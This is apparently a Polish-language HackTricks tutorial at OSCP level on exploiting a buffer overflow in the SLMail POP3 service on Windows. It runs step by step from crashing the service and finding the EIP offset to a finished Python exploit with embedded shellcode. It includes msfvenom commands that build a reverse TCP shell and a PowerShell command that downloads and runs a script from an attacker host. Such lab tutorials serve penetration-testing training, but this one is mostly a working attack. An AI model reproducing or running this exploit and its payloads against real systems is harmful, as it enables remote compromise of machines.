hacktricks/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md

10 KiB

Windows Exploiting (Podstawowy przewodnik - poziom OSCP)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Rozpocznij instalację usługi SLMail

Zrestartuj usługę SLMail

Za każdym razem, gdy musisz zrestartować usługę SLMail, możesz to zrobić za pomocą konsoli systemu Windows:

net start slmail

Bardzo podstawowy szablon eksploatacji w Pythonie

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Zmień czcionkę Immunity Debugger

Przejdź do Opcje >> Wygląd >> Czcionki >> Zmień (Consolas, Pogrubiona, 9) >> OK

Podłącz proces do Immunity Debugger:

Plik --> Podłącz

I naciśnij przycisk START

Wyślij exploit i sprawdź, czy EIP jest dotknięty:

Za każdym razem, gdy przerwiesz usługę, powinieneś ją ponownie uruchomić, zgodnie z instrukcjami na początku tej strony.

Utwórz wzorzec, aby zmodyfikować EIP

Wzorzec powinien być tak duży jak bufor, którego użyłeś wcześniej do przerwania usługi.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Zmień bufor exploitu, ustaw wzorzec i uruchom exploit.

Powinien pojawić się nowy crash, ale z innym adresem EIP:

Sprawdź, czy adres znajduje się w twoim wzorcu:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Wygląda na to, że możemy zmodyfikować EIP w przesunięciu 2606 bufora.

Sprawdź to, modyfikując bufor exploitu:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Z tym buforem EIP uległ awarii powinien wskazywać na 42424242 ("BBBB")

Wygląda na to, że działa.

Sprawdź miejsce na shellcode w stosie

600B powinno wystarczyć na dowolny potężny shellcode.

Zmienimy bufor:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Uruchom nowy exploit i sprawdź EBP oraz długość przydatnego shellcode'u

Możesz zauważyć, że gdy osiągnięta zostaje podatność, EBP wskazuje na shellcode, a my mamy dużo miejsca, aby umieścić tutaj shellcode.

W tym przypadku mamy od 0x0209A128 do 0x0209A2D6 = 430B. Wystarczająco.

Sprawdź szkodliwe znaki

Zmień ponownie bufor:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Badchars zaczyniają się od 0x01, ponieważ 0x00 jest prawie zawsze szkodliwy.

Wykonaj powtórnie exploit z tą nową buforem, usuwając znaki, które okazały się być bezużyteczne:.

Na przykład:

W tym przypadku widać, że nie powinieneś używać znaku 0x0A (nic nie jest zapisane w pamięci, ponieważ znak 0x09).

W tym przypadku widać, że znak 0x0D jest unikany:

Znajdź JMP ESP jako adres powrotu

Z użyciem:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Zostaną wypisane mapy pamięci. Wyszukaj DLL, która ma:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Teraz, w tej pamięci powinieneś znaleźć bajty JMP ESP, aby to zrobić wykonaj:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Następnie, jeśli znaleziono jakiś adres, wybierz taki, który nie zawiera żadnych złośliwych znaków:

W tym przypadku, na przykład: _0x5f4a358f_

Stwórz shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Jeśli exploit nie działa, ale powinien (można zobaczyć to za pomocą ImDebg, że shellcode jest osiągany), spróbuj stworzyć inne shellkody (msfvenom stworzy różne shellkody dla tych samych parametrów).

Dodaj kilka NOPS na początku shellcode'u i użyj go oraz adresu powrotu do JMP ESP, a następnie zakończ exploit:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

{% hint style="warning" %} Istnieją shellkody, które nadpisują same siebie, dlatego zawsze ważne jest dodanie kilku instrukcji NOP przed shellcodem {% endhint %}

Poprawa shellcodu

Dodaj te parametry:

EXITFUNC=thread -e x86/shikata_ga_nai
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: